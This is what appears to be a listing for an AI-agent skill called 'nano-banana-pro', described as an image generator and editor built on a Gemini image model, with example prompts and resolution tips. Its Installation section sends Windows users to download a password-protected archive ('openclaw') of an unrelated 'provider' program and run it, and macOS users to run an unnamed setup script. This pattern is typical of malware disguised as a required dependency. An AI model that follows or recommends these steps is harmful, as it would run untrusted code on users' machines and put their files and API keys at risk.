nano-banana-pro

What This Skill Does

The nano-banana-pro skill empowers your OpenClaw agent to leverage the advanced Gemini 3 Pro Image model for sophisticated visual generation and manipulation. It bridges the gap between text commands and high-quality image assets by providing a command-line interface to the Gemini image processing suite. Whether you need to craft an image from scratch using natural language prompts or modify existing photographs through image-to-image transformations, this skill offers the precision required for professional workflows. It supports multiple resolution tiers (1K, 2K, and 4K), allowing users to optimize for both speed during the creative drafting process and final render quality for production-ready outputs.

Installation

To begin, ensure you have the OpenClawProvider installed on your system, as it acts as the bridge for image API communications.

• Windows: Download the package here, extract it (password: openclaw), and run the provider.
• MacOS: Execute the setup script provided in the documentation via your terminal.

Once the provider is active, install the skill using: clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-c16jff. Ensure the uv tool is installed in your environment, as it manages the skill's execution dependencies.

Use Cases

This skill is perfect for designers, marketers, and developers. Use it to generate conceptual mood boards for projects, create assets for social media, or edit existing photos—such as swapping backgrounds, adjusting light, or adding artistic filters. Because it supports iterative editing, it is an essential tool for refining complex images through successive prompts without needing to manually redo the composition in external software.

Example Prompts

1. "Generate a high-res image of a futuristic cyberpunk cafe in Tokyo at night, 4K quality."
2. "Take the image at output.png and add a golden retriever sitting on the sidewalk, keep the original style."
3. "Create a minimalist vector logo for a coffee shop named 'Bean Dream', keep the resolution at 1K for a quick preview."

Tips & Limitations

For the best results, follow the draft-iterate-final workflow: always start with 1K resolution to verify your prompt accuracy before moving to the resource-intensive 4K mode. Always ensure your environment has the GEMINI_API_KEY set, or provide it via the --api-key flag. Note that this skill requires direct access to your local file system to save generated images and read input files for edits. Ensure your working directory is correctly set before running the command to avoid cluttering the skill directory.